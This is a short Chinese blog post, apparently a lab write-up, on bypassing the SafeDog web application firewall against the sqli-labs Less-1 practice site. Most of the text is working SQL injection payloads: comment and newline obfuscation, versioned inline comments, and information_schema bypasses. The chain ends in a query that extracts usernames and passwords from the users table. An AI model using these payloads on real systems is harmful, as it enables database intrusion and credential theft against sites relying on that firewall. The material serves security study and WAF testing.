记·绕安全狗waf

Author Avatar
白菀枯
发表:2025-07-06 14:53:54
修改:2025-07-06 14:53:53

sqli-lib的less-1为测试网站

1. 引号测试(未拦截)

?id=1'      报错
?id=1''     正常
?id=1'''    报错
?id=1''''   正常

说明是单引号闭合, 存在注入点
而且 ?id=1' --+ 正常, 注释符未被拦截

2. 测列数(拦截)

踩坑-单引号内为空也可能报错

where id = '1''' 这虽然奇怪但符合语法;
where id = 1'' 这会直接报错
即sql语句中即使单引号内为空也不是能随便加的, 所以注释未被拦截还是得用注释

内联注释绕过

  1. ?id=1' order by 1--+被拦截
  2. ?id=1' /*!12345order*/ /*!12345by/ 1--+也被拦截

关键字替换 order by -> group by

?id=1' group by 3--+, 同样得到列数为3的结论

3. 显示位

  1. 内联注释仍然被拦截:?id=-1' /*!12345union*/ /*!12345select*/ 1,2,3--+
  2. 内联注释+脏数据成功:?id=-1' union /*/fas*fa2212%0d%0a1*3*/ select 1,2,3--+
    • 关键在其中的%0d、%0a或其他换行符上
  3. 甚至发现单纯用注释就能绕过:?id=-1'union/*/1 /*/select 1,2,3--+就能过

踩坑-本地运行的语句必须闭合

譬如上面的 id=-1'union/*/1 /*/select 1,2,3 放在本地运行会提示你继续构造闭合,但是运行到url却正常回显. 这里的原因应该是结束时的 /*/被认为成 /*然后 /,只需要添加空格成 / */
还有一个问题是, 即使这里解决了, 后续要继续添加注释时会再次被影响到, 语法出错.

库名

踩坑-对版本号有要求

像是在本次测试中,/*!中的数字*/限制在44444左右是不会被拦截的; 想法再小或再大都会被安全狗拦.
?id=-1'union/*/1 /*/ select 1,database(/*!44444*/),3--+
函数名内的参数只要为空, 空格、换行符什么的都无所谓

表名

标准的payload为 group_concat(table_name) from information_schema.tables where table_schema='security'
经测试被拦截的是 information_schema.tables
换行绕过:/*!--+/*%0ainformation_schema./*!tables*/

列名同理

?id=-1%27union/*/1%20/*/%20select%201,database(/*!44444*/),group_concat(column_name) from /*!--+/*%0ainformation_schema./*!columns*/ where table_name='users'--+

最后字段不会被拦截

group_concat(username ,id , password) from users

评论